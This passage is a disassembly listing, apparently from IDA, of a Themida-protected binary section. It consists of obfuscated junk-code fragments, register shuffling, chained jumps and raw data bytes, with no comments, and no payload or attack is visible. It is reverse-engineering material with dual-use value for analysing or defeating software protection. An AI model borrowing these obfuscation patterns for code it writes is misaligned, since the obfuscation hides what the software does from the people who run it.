		dd 685BDC88h, 2EB0h, 0FF5714E9h, 241C8BFFh, 8104C483h
		dd 4C4h, 24048F00h, 243CD25Ch, 0EA65E99Ch, 0C281FFFEh
		dd 5598324Ah, 0E9240C8Bh, 0FFFFBED5h
; ---------------------------------------------------------------------------


loc_5614C0:				; CODE XREF: Themida_:0055A74Fj
		push	eax
		mov	eax, 156F74C3h
		add	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ebx, 4BC26BA0h
		add	ebx, esi
		add	ebx, 4BC26BA0h
		sub	ebx, 156F74C3h
		add	ebx, 14E2775h
		jmp	loc_55FEC4
; ---------------------------------------------------------------------------
		dw 487h
aSs		db '$\és:',0
		dw 0BE00h
		dd 4, 4247401h,	2434FF5Eh, 6E9555Fh, 8BFFFFEDh,	0C4812414h
		dd 4, 0FF0E0CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561519:				; CODE XREF: Themida_:00560EF4j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_55F19C
; ---------------------------------------------------------------------------
		dd 62BF5759h, 0E92B230Dh, 0FFFF9116h
; ---------------------------------------------------------------------------


loc_561534:				; CODE XREF: Themida_:0055220Fj
		push	ecx
		jmp	loc_5567DD
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFF7699h, 0C5815D54h, 4, 26852h, 0E95A0000h, 0FFFF0709h
		dd 0E904EC83h, 0FFFF6A5Dh, 76EECD81h, 0F0E96DD4h, 0B2FFFFE8h
		dd 600AE972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56156E:				; CODE XREF: Themida_:00564069j
		dec	ebx
		xor	ebx, 4E6461F9h
		jmp	loc_56526D
; ---------------------------------------------------------------------------


loc_56157A:				; CODE XREF: Themida_:00562699j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_55D860
; ---------------------------------------------------------------------------
		dw 0D158h
		dd 6BBE56E9h, 5722EB0Ah, 0ED38CDBFh, 196EE97Eh,	7F830000h
		dd 840F0020h, 0FFFFAB08h, 5E1468h, 241C8900h, 0FF26AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5615AD:				; CODE XREF: Themida_:00559DADj
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5592B8
; ---------------------------------------------------------------------------
		dd 0A3643BAh, 0F443E962h, 4BEFFFEh, 1000000h, 24348BF0h
		dd 0FF474FE9h, 815E54FFh, 4C6h,	224E900h, 0BD550000h, 245D44E8h
		dd 3EBCE952h, 685CFFFFh, 6CA4h,	0FF956FE9h, 31A8BBFFh
		dd 0DBF77918h, 0D3F7D3F7h, 26F3814Bh, 89BBECC3h, 57A8E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56160E:				; CODE XREF: Themida_:0055703Bj
		add	edx, 1D9C2CE3h
		add	edx, ebx
		sub	edx, 1D9C2CE3h
		jmp	loc_5547C0
; ---------------------------------------------------------------------------


loc_561621:				; CODE XREF: Themida_:00554DD4j
		add	ecx, eax
		jmp	loc_5517F9
; ---------------------------------------------------------------------------
		dd 4C481h, 0ECC00000h, 0BBB75308h, 0C780CFFEh, 0E9FC004Eh
		dd 0FFFF655Bh, 4CE9C388h, 8F000016h, 248B2404h,	24040924h
		dd 0E8C1E99Ch, 1C8BFFFEh, 4C48324h, 4EC8357h, 0FF243489h
		dd 0E9042474h, 0FFFFF8CEh, 307CB55Bh, 961FE9C5h, 8F5EFFFFh
		dd 10E92404h, 89FFFF7Fh, 565150E1h, 271A6F68h, 0EE815E48h
		dd 0D32F00C0h, 89F08950h, 0EDE958C1h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56169B:				; CODE XREF: Themida_:0055351Cj
		xor	edx, eax
		jmp	loc_5526AF
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 74FF2404h, 48B0424h,	1EE95624h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5616B3:				; CODE XREF: Themida_:00552D7Cj
		push	6CDEh
		mov	[esp], edx
		mov	edx, 7A117B7Ah
		not	edx
		shl	edx, 1
		xor	edx, 0BDD090Eh
		sub	ecx, 1E3C28DEh
		add	ecx, edx
		add	ecx, 1E3C28DEh
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_5605CC
; ---------------------------------------------------------------------------


loc_5616E1:				; CODE XREF: Themida_:005535D3j
		mov	ecx, esp
		jmp	loc_55E53A
; ---------------------------------------------------------------------------


loc_5616E8:				; CODE XREF: Themida_:0055CFEEj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_55FA23
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 79E9240Ch, 8BFFFFDAh
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55ED6F
; ---------------------------------------------------------------------------


loc_56172A:				; CODE XREF: Themida_:005593CAj
		push	esi
		jmp	loc_562B32
; ---------------------------------------------------------------------------


loc_561730:				; CODE XREF: Themida_:00552231j
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [edx]
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 4
		jmp	loc_55388A
; ---------------------------------------------------------------------------
		dd 55BD555Eh, 53341A15h, 0DC744DBBh, 5BDD0929h,	0C103E5C1h
		dd 1BE902E5h
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56176B:				; CODE XREF: Themida_:0056546Cj
		mov	[esp], ebx
		push	edx
		mov	dh, al
		mov	bl, dh
		jmp	loc_5527EF
; ---------------------------------------------------------------------------


loc_561778:				; CODE XREF: Themida_:00562E09j
		xchg	edx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_555298
; ---------------------------------------------------------------------------


loc_56178C:				; CODE XREF: Themida_:00563E9Ej
		pop	ebx
		add	esp, 4
		push	edx
		push	eax
		mov	al, ch
		mov	dh, al
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5565AC
; ---------------------------------------------------------------------------


loc_5617AA:				; CODE XREF: Themida_:00551C28j
		mov	ebp, 295D5EC3h
		and	ebp, 787F33D0h
		push	ebx
		mov	ebx, 19CC6696h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 37BE6182h
		add	ecx, 45454F39h
		add	ecx, ebp
		sub	ecx, 45454F39h
		pop	ebp
		push	ebp
		mov	ebp, 6D437A69h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 0A5EEB714h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ecx
		jmp	loc_55F48B
; ---------------------------------------------------------------------------
		db 89h
		dd 57AFE9E6h, 0C683FFFFh, 24348704h, 24048F5Ch,	0FFF13AE9h
		dd 52E189FFh, 0C43F56BAh, 7BF28178h, 0F70BB23Fh, 81DAF7DAh
		dd 760029F2h, 5AD10173h, 4E981h, 0FF510000h, 59042474h
		dd 5C24048Fh, 0E9243489h, 0FFFF2222h, 4EC8355h,	83242489h
		dd 0E9042404h, 3C43h
; ---------------------------------------------------------------------------


loc_561854:				; CODE XREF: Themida_:0055F2A5j
		shl	edi, 2
		neg	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5ECC2FC2h
		neg	edx
		jmp	loc_55F4CD
; ---------------------------------------------------------------------------
		dw 5566h
		dd 5D665766h, 4F665F66h, 66FD8766h, 8166D5F7h, 6660FBC5h
		dd 9F98C581h, 5DE80166h, 66D80166h, 66164A2Dh, 0E9241C8Bh
		dd 0FFFF09F1h
; ---------------------------------------------------------------------------


loc_56189C:				; CODE XREF: Themida_:005597D5j
		xor	esi, 4D77E7D8h
		add	edx, esi
		pop	esi
		or	ebp, edx
		mov	edx, [esp]
		jmp	loc_55F68C
; ---------------------------------------------------------------------------
byte_5618AF	db 68h			; DATA XREF: Themida_:0054FE94o
		dd 3581h, 51240489h, 0FEB9h, 9AF6800h, 1C890000h, 3F53E924h
		dd 0FE29FFFFh, 21E9565Fh, 56FFFFACh, 45536852h,	895A27C0h
		dd 24148BD6h, 4C481h, 0D6F70000h, 0E908E6C1h, 0FFFF0D20h
		dd 0F7BBC581h, 0E8011519h, 0FF34DCE9h, 0A3EB81FFh, 0E9613011h
		dd 0FFFFA64Fh, 8704C083h, 11E92404h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561913:				; CODE XREF: Themida_:0055384Cj
		pop	edi
		push	ebp
		mov	ebp, 30321EC3h
		jmp	loc_551945
; ---------------------------------------------------------------------------


loc_56191F:				; CODE XREF: Themida_:0055E170j
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jmp	loc_563597
; ---------------------------------------------------------------------------


loc_561932:				; CODE XREF: Themida_:0055C61Ej
		neg	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xor	ebx, 56E34E08h
		add	eax, 19504D65h
		add	eax, ebx
		sub	eax, 19504D65h
		pop	ebx
		add	eax, esi
		push	esi
		mov	esi, 58087FC7h
		or	esi, 54414874h
		add	esi, 0AA19CFC2h
		jmp	loc_558717
; ---------------------------------------------------------------------------
		db 5Ch,	8Bh, 3Ch
		dd 4C48124h, 81000000h,	4ECh, 240C8900h, 1FCF6855h, 2C8B725Ch
		dd 4C48124h, 0C1000000h, 0CD8106E5h, 7D4C1318h,	0B7BEED81h
		dd 0E989CC70h, 7E1C15Dh, 5104E1C1h, 0E92414F7h,	0FFFFE084h
		dd 675EC681h, 0CE014DEEh, 31A1BF57h, 0AE95016h,	54FFFFF0h
		dd 8124048Fh, 42404h, 1C8B0000h, 4C48324h, 0FF17B3E9h
		dd 0E9E328FFh, 0FFFF0D86h
dword_5619D8	dd 0E9D830ACh, 0FFFF6F3Ah, 0BD242C89h, 0F59265Ah, 29F5814Dh
					; DATA XREF: Themida_:0054FC8Co
		dd 0E963ED11h, 0FFFFFB68h, 0DCE9D3F7h, 53FFFF4Dh, 5F71E954h
		dd 7768FFFFh, 0E900003Eh, 0FFFEEBFFh, 0F279C268h, 24348B2Ch
		dd 8104C483h, 0D863DF6h, 0E9F389D3h, 0FFFEF4A8h
; ---------------------------------------------------------------------------


loc_561A24:				; CODE XREF: Themida_:0055B544j
		add	ebp, edx
		add	ebp, 6A675F83h
		add	ebp, 6DA7DF6h
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55503B
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 3B05C681h, 5956B344h, 26BB535Eh, 8140A520h, 7C7E27F3h
		dd 20CCE942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561A62:				; CODE XREF: Themida_:00560B56j
		mov	[esp], edx
		xchg	ecx, [esp]
		jmp	loc_563258
; ---------------------------------------------------------------------------


loc_561A6D:				; CODE XREF: Themida_:0055030Ej
		sub	esi, edi
		add	esi, 32AE1441h
		pop	edi
		sub	ebx, esi
		pop	esi
		push	4ED5h
		jmp	loc_552F0D
; ---------------------------------------------------------------------------
		db 81h
		dd 0F00257CBh, 23C3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561A8E:				; CODE XREF: Themida_:loc_5646A7j
		shr	edx, 1
		jmp	loc_55511C
; ---------------------------------------------------------------------------
		db 1, 0E9h, 81h
		dd 0D567E8C1h, 0C1295D50h, 0DE3E981h, 48B5687h,	4C48124h
		dd 68000000h, 693Ch, 0FF1B57E9h, 2434FFFFh, 0D9D7E95Ah
		db 2 dup(0FFh)
word_561AC2	dw 8B66h		; DATA XREF: Themida_:0054FD1Co
		dd 0F6682404h, 8900001Ah, 0E389241Ch, 406B6852h, 815A772Dh
		dd 1706E5F2h, 60CA8174h, 812EF609h, 0FE4FEAEAh,	0E9C3812Fh
		dd 10FE658h, 0E9EB81D3h, 8B0FE658h, 0E9E92414h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561AFF:				; CODE XREF: Themida_:00564CC1j
		sub	dl, 62h
		add	bl, dl
		pop	edx
		add	bl, 0C8h
		jmp	loc_5646F0
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0CB010000h, 4C38159h, 87000000h, 248B241Ch, 0E0895024h
		dd 405h, 4C08300h, 0FF3A41E9h, 31BABDFFh, 7F686B76h, 8900007Fh
		dd 0FABB241Ch, 1477C43h, 0EC835BDDh, 240C8904h,	81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0E9532434h, 0FFFF4944h
; ---------------------------------------------------------------------------


loc_561B68:				; CODE XREF: Themida_:00563AFEj
		shr	bl, 4
		not	bl
		sub	bl, 0F2h
		xor	bl, ch
		pop	ecx
		xor	al, bl
		pop	ebx
		jmp	loc_561408
; ---------------------------------------------------------------------------


loc_561B7B:				; CODE XREF: Themida_:005600B1j
		xchg	ebx, [esp]
		jmp	loc_5533F1
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2404h, 4C48324h,	3987E9h
		db 0
; ---------------------------------------------------------------------------


loc_561B91:				; CODE XREF: Themida_:00557681j
		sub	esi, 5229132Fh
		pop	eax
		jmp	loc_5567AC
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0ECh
		dd 4, 0FFD965E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561BA9:				; CODE XREF: Themida_:005621E7j
		pop	ecx
		add	ecx, edi
		pop	edi
		jmp	loc_5572EB
; ---------------------------------------------------------------------------
		dw 5366h
		dd 175CE9h
		db 0
; ---------------------------------------------------------------------------


loc_561BB9:				; CODE XREF: Themida_:00554A61j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_556C65
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C38104h, 87000000h,	248B241Ch, 8BF02924h, 0C4832434h
		dd 7AB95104h, 51519817h, 0FEEEFCE9h, 241489FFh,	21CB68h
		dd 0E18BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561BF2:				; CODE XREF: Themida_:00553D10j
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55345C
; ---------------------------------------------------------------------------


loc_561C02:				; CODE XREF: Themida_:005523B0j
		add	esp, 4
		push	77E4h
		mov	[esp], ecx
		push	12B92A92h
		jmp	loc_55E1EF
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0FFFFFFFFh, 0F331DE31h, 0D3F7DE31h, 5CE9DE87h, 89FFFF0Ch
		dd 4C181E1h, 83000000h,	0C8704E9h, 24248B24h, 51240489h
		dd 6B5693B9h, 1BA7E939h, 0EBC1FFFFh, 0BCCB8105h, 0E93E8066h
		dd 0FFFF9490h
; ---------------------------------------------------------------------------


loc_561C5C:				; CODE XREF: Themida_:00563D6Dj
		mov	esp, [esp]
		push	76BCh
		jmp	loc_55FF87
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 1000000h, 5E042474h,	0FF7841E9h, 2414F7FFh, 51420558h
		dd 51E977F6h, 88FFFF43h, 24048BE6h, 4C481h, 0C6E90000h
		dd 0BFFFFF68h, 30284AA7h, 0FFD180E9h
		db 0FFh
byte_561CA1	db 66h,	50h, 66h	; DATA XREF: Themida_:0054FC48o
		dd 22474FFh, 8F665866h,	0FBE92404h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561CB3:				; CODE XREF: Themida_:0055627Aj
		push	edx
		jmp	loc_55B7B6
; ---------------------------------------------------------------------------
		db 5Ah,	89h, 0D7h
		dd 8BFB015Ah, 0B9E9243Ch, 89FFFFAEh, 4C281E2h, 53000000h
		dd 4BBh, 0E9DA0100h, 0FFFFCCB7h, 8324048Fh, 8B042404h
		dd 89532434h, 4C381E3h,	57000000h, 4BFh, 5FFB0100h, 5C241C87h
		dd 4C681h, 0E9570000h, 0FFFEF097h
; ---------------------------------------------------------------------------


loc_561D08:				; CODE XREF: Themida_:00553DCFj
		push	1
		push	dword ptr [esp]
		pop	edi
		push	4885h
		mov	[esp], edi
		jmp	loc_5535B9
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C3h, 4C38100h, 68000000h, 6FCDh, 0FF241C89h, 5B042474h
		dd 8B24048Fh, 3FE92424h, 66FFFF15h, 28B1B551h, 2C5966E8h
		dd 4D80092h, 5BB10492h,	4EC8151h, 89000000h, 52662404h
		dd 0FFDB7BE9h, 53DAF7FFh, 0F85BE952h, 5258FFFEh, 0BE6A64BAh
		dd 83574242h, 48904ECh,	0C096824h, 5158102Bh, 0FF9D5DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561D89:				; CODE XREF: Themida_:00555036j
		push	edx
		mov	edx, 5FD27BCBh
		sub	ebp, 4B6777CFh
		sub	ebp, edx
		jmp	loc_55300C
; ---------------------------------------------------------------------------
		dd 0EC81575Ah, 4, 0E9242C89h, 0FFFF4D87h, 0E9240487h, 28A7h
		dd 4EF81h, 0E9570000h, 0FFFFAAC3h
; ---------------------------------------------------------------------------


loc_561DC0:				; CODE XREF: Themida_:0055EFC3j
		mov	edx, 0F7C504CAh
		add	ebx, edx
		pop	edx
		sub	ebx, 53B16809h
		sub	ebx, esi
		add	ebx, 53B16809h
		xor	esi, ebx
		jmp	loc_559D0E
; ---------------------------------------------------------------------------


loc_561DDD:				; CODE XREF: Themida_:0055A794j
		add	esp, 4
		push	edx
		neg	dword ptr [esp]
		jmp	loc_558E01
; ---------------------------------------------------------------------------


loc_561DEC:				; CODE XREF: Themida_:005512A0j
		neg	ecx
		xor	ecx, 0BE6EDC82h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	esi
		jmp	loc_551E59
; ---------------------------------------------------------------------------
		db 1
		dd 5908244Ch, 0FF74EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561E0D:				; CODE XREF: Themida_:0055C215j
		sub	eax, edi
		jmp	loc_55EBCC
; ---------------------------------------------------------------------------
		dd 0E9241C33h, 2CDAh
; ---------------------------------------------------------------------------


loc_561E1C:				; CODE XREF: Themida_:005521C2j
		mov	esi, 4D6969A0h
		jmp	loc_5590BB
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 3F5616AEh, 0E9DE295Ah, 0FFFF237Dh, 55E08950h, 4BDh
		dd 2191E900h, 0CA010000h, 8B32FF59h, 0C483240Ch, 240E904h
		dd 1431FFFFh, 0AE4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561E5A:				; CODE XREF: Themida_:0055F0BAj
		not	ebx
		xchg	ebx, ebp
		xchg	ebp, [esp]
		jmp	loc_557480
; ---------------------------------------------------------------------------


loc_561E66:				; CODE XREF: Themida_:00562B2Dj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5595C4
; ---------------------------------------------------------------------------
		db 0B8h
		dd 466C583Eh, 0FF5B39E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561E79:				; CODE XREF: Themida_:00552018j
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 36E5682Bh
		jmp	loc_557385
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF36EAh
; ---------------------------------------------------------------------------


loc_561E90:				; CODE XREF: Themida_:00559DE2j
		shr	ebp, 3
		push	edi
		jmp	loc_56349C
; ---------------------------------------------------------------------------


loc_561E99:				; CODE XREF: Themida_:00554071j
		and	eax, esi
		jmp	loc_55A8F5
; ---------------------------------------------------------------------------
		dd 3FE2F581h, 0EB214010h, 6CEB815Dh, 0C1486E28h, 0C38102E3h
		dd 217706B4h, 55BD801h,	4, 31240433h, 8CE92404h, 0C1FFFFBFh
		dd 0B85004E2h, 0EE3E89E0h, 0E958C231h, 0FFFF74A7h, 66F88966h
		dd 0E316E95Fh, 2C33FFFEh, 0C7815C24h, 4, 4EC81h, 0A5E90000h
		dd 1FFFF61h, 0EA8158C2h, 162E4448h, 0C281CA01h,	162E4448h
		dd 63C9EA81h, 81593D7Ch, 4ECh, 240C8900h, 4B9h,	0BEC28100h
		dd 13D5D18h, 0BEEA81CAh, 593D5D18h, 2474FF52h, 24148B04h
		dd 0FF5CA8E9h
		db 0FFh
byte_561F3D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FEACo
		dd 4EC8124h, 89000000h,	8B54242Ch, 10E9242Ch, 0B3FFFF20h
		dd 0E9F30067h, 0FFFEE390h, 0E924248Bh, 0FFFF723Bh, 617C68h
		dd 24148900h, 9C1F8ABAh, 67FBE95Ch, 0C981FFFFh,	36294C3Eh
		dd 2E77E9h
		db 0
; ---------------------------------------------------------------------------


loc_561F81:				; CODE XREF: Themida_:0055398Bj
		mov	edi, 0
		sub	edi, edx
		xchg	edi, edx
		jmp	loc_550D1F
; ---------------------------------------------------------------------------
		db 31h
		dd 24148BD7h, 4C481h, 0EFC10000h, 2805E903h, 8CB9FFFFh
		dd 89057C40h, 448159CAh, 7B820824h, 54297A49h, 6C810824h
		dd 7B820824h, 815A7A49h, 0F3042444h, 15B3E70h, 8104245Ch
		dd 0F304246Ch, 525B3E70h, 1731B951h, 51E97C00h,	5EFFFEF2h
		dd 0FF4278E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561FE5:				; CODE XREF: Themida_:0055668Bj
		mov	[esp], ebp
		push	edi
		jmp	loc_555943
; ---------------------------------------------------------------------------


loc_561FEE:				; CODE XREF: Themida_:00558A18j
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_559A14
; ---------------------------------------------------------------------------
		dd 0ED81D5F7h, 45143552h, 87C2F581h, 0EA891297h, 554DE95Dh
		dd 98BAFFFFh, 0E9748448h, 0FFFFAF81h, 31241C33h, 1C33241Ch
		dd 24248B24h, 0FF58AAE9h, 0C8966FFh, 0DEE5E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562032:				; CODE XREF: Themida_:0055F31Aj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edx
		jmp	loc_5588FC
; ---------------------------------------------------------------------------
		dw 3487h
		dd 0ED3AE924h, 0C281FFFFh, 3ACE2813h, 57243C8Bh, 0BB53E789h
		dd 4, 0FFCFBEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562061:				; CODE XREF: Themida_:00556E48j
		add	dword ptr [esp], 5B643CD6h
		mov	eax, [esp]
		push	ebx
		jmp	loc_56238D
; ---------------------------------------------------------------------------
		db 0B8h, 97h, 0C3h
		dd 0B1E9B1B9h, 80FFFF38h, 0C780BDF1h, 80CF283Dh, 593DEFh
		dd 241C8BF8h, 2804C483h, 0FF682CF0h, 835A2434h,	686604C4h
		dd 896618E0h, 2368241Ch, 0E9000030h, 0FFFF7279h
; ---------------------------------------------------------------------------


loc_5620AC:				; CODE XREF: Themida_:00558497j
		and	edx, 4E990F60h
		xor	edx, 8DD5ABEh
		xor	edx, 254A7DBFh
		jmp	loc_55AD67
; ---------------------------------------------------------------------------
		db 8Bh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_557D77
; ---------------------------------------------------------------------------


loc_5620DA:				; CODE XREF: Themida_:0054FF8Fj
		pop	ecx
		jmp	loc_5621FD
; ---------------------------------------------------------------------------
		dd 84E9E289h, 0E9FFFF73h, 0FFFEDE2Bh, 0D5BD801h, 16A11B28h
		dd 540F0B05h, 8BC101F8h, 0BDE92404h, 59FFFFB2h,	4C181h
		dd 1B680000h, 8900004Ah, 2BA2414h, 81000000h, 460574C1h
		dd 81D10128h, 460574E9h, 66DBE928h, 0EC83FFFFh,	241C8904h
		dd 1ABAE9h
		db 0
; ---------------------------------------------------------------------------


loc_562135:				; CODE XREF: Themida_:0055FEFEj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5611E5
; ---------------------------------------------------------------------------
		dw 0CC88h
		dd 241C8B59h, 2804C483h, 0EE7BE9E7h, 5A89FFFEh,	54CFE938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56215A:				; CODE XREF: Themida_:00562DD3j
		sub	ebp, eax
		sub	ebp, 60737CC4h
		jmp	loc_5521C7
; ---------------------------------------------------------------------------
aFqA		db '[fQµí',0
		db 0EAh, 66h, 59h
		dd 28A7C280h, 0A7EA80EAh, 81EDEA80h, 4ECh, 1452E900h, 158FFFFh
		dd 0E904247Ch, 0FFFF7829h, 2C1A6FBAh, 38C38147h, 1503A7Bh
		dd 1441E9D3h, 0CB800000h, 0E3B551E4h, 0FDB45066h, 5866E530h
		dd 0C8BEB00h, 4C48124h,	80000000h, 0C58069EBh, 0E9DD280Ch
		dd 2F86h, 9E95854h, 5E00000Ch, 4C481h, 0C1680000h, 0E9000022h
		dd 0FFFF4CDDh
; ---------------------------------------------------------------------------


loc_5621E0:				; CODE XREF: Themida_:00562808j
		mov	ecx, 72184149h
		xor	edi, ecx
		jmp	loc_561BA9
; ---------------------------------------------------------------------------
		dd 8105EAC1h, 0AF1482F2h, 5AD02964h, 0FF1759E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5621FD:				; CODE XREF: Themida_:005620DBj
		pop	ebx
		not	ebx
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		pop	ecx
		pop	ebx
		sub	ecx, 0C34279AEh
		push	ebx
		mov	ebx, ecx
		sub	esp, 4
		jmp	loc_553837
; ---------------------------------------------------------------------------
		dd 3C8BF829h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 0FFD85CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562239:				; CODE XREF: Themida_:00553423j
		sub	esi, eax
		pop	eax
		jmp	loc_55F8F8
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 54h
		dd 0F7282259h, 4EC83DEh, 0BB241C89h, 3CD00292h,	34FFDE01h
		dd 0C4835B24h, 0C6814E04h, 2A567D71h, 0BA64C681h, 0EC83DF0Ah
		dd 241C8904h, 0B64A45BBh, 67B9512Dh, 2107066Ah,	0CB8159CBh
		dd 0EE144B4h, 5504EBC1h, 0FF7735E9h, 572CBBFFh,	0EBC13B69h
		dd 0F75AE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56229A:				; CODE XREF: Themida_:00563FABj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_554606
; ---------------------------------------------------------------------------


loc_5622B1:				; CODE XREF: Themida_:0055BE18j
		add	eax, 67911D78h
		jmp	loc_562AE1
; ---------------------------------------------------------------------------
		db 31h
		dd 34332434h, 3B665C24h, 4AE99CC8h, 0FFFFFFD5h,	83592434h
		dd 7A3504C4h, 0E96B1C7Fh, 0FFFF8222h, 4C48358h,	6B0968h
		dd 243C8900h, 5250E789h, 1E3DE956h, 0F3290000h,	0FF9E95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5622F9:				; CODE XREF: Themida_:00563C50j
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, 1FA63552h
		add	esi, 725E4CA5h
		jmp	loc_56453E
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 61h
		dd 81490F45h, 1B4AE5C2h, 5AD10137h, 4EC81h, 1AE90000h
		dd 29FFFF3Dh, 240C8BC8h, 2D04C483h, 3D077E0Bh, 0FF5089E9h
		dd 243C31FFh, 0FF60A2E9h, 5E5C1FFh, 0DB34F581h,	0E829CCF7h
		dd 0E953565Dh, 0FFFF3D6Ch
dword_56235C	dd 24048B66h, 4EC81h, 0C890000h	; DATA XREF: Themida_:0054FD70o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_558C43
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 0FFE94FE9h, 24048FFFh, 0FF7295E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56238D:				; CODE XREF: Themida_:0056206Cj
		mov	ebx, esp
		jmp	loc_557D26
; ---------------------------------------------------------------------------


loc_562394:				; CODE XREF: Themida_:005544F9j
		mov	esi, [esp]
		add	esp, 4
		pop	ecx
		movzx	ax, byte ptr [eax]
		push	67B8h
		mov	[esp], ebx
		jmp	loc_560DF5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C3300h, 33243C31h, 15C243Ch, 20ABE9C2h, 0C481FFFFh
		dd 4, 5C24048Fh, 52E18951h, 34076856h, 815E4713h, 3E5E3DF6h
		dd 0EEC14E57h, 0A7F68104h, 890102D6h, 0D1015EF2h, 8324148Bh
		dd 0ACE904C4h, 0E9000024h, 0FFFEDB17h, 4459E959h, 0DE31FFFFh
		dd 81241C8Bh, 4C4h, 0E9F02900h,	0FFFF6C13h, 0EB6D16BEh
		dd 0AEE68156h, 0F71EE93Ch, 68D6F7D6h, 4E68h, 0BF243C89h
		dd 0F0C7CBAh, 0F75FFE09h, 0ACEE81D6h, 1D1B316h,	0F1815EF1h
		dd 2BE4EB9Bh, 0C8BCF01h, 40DDE924h, 0C381FFFFh,	2D7306C3h
		dd 5D2434FFh, 0FF04C483h, 0DAB1E930h, 8966FFFEh, 42E92404h
		dd 8BFFFFA5h, 0C481243Ch, 4, 4BA52h, 0D7010000h, 0FFB099E9h
		dd 0C1D2F7FFh, 1FE902E2h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56248F:				; CODE XREF: Themida_:00557B96j
		pop	ebx
		jmp	loc_54FF17
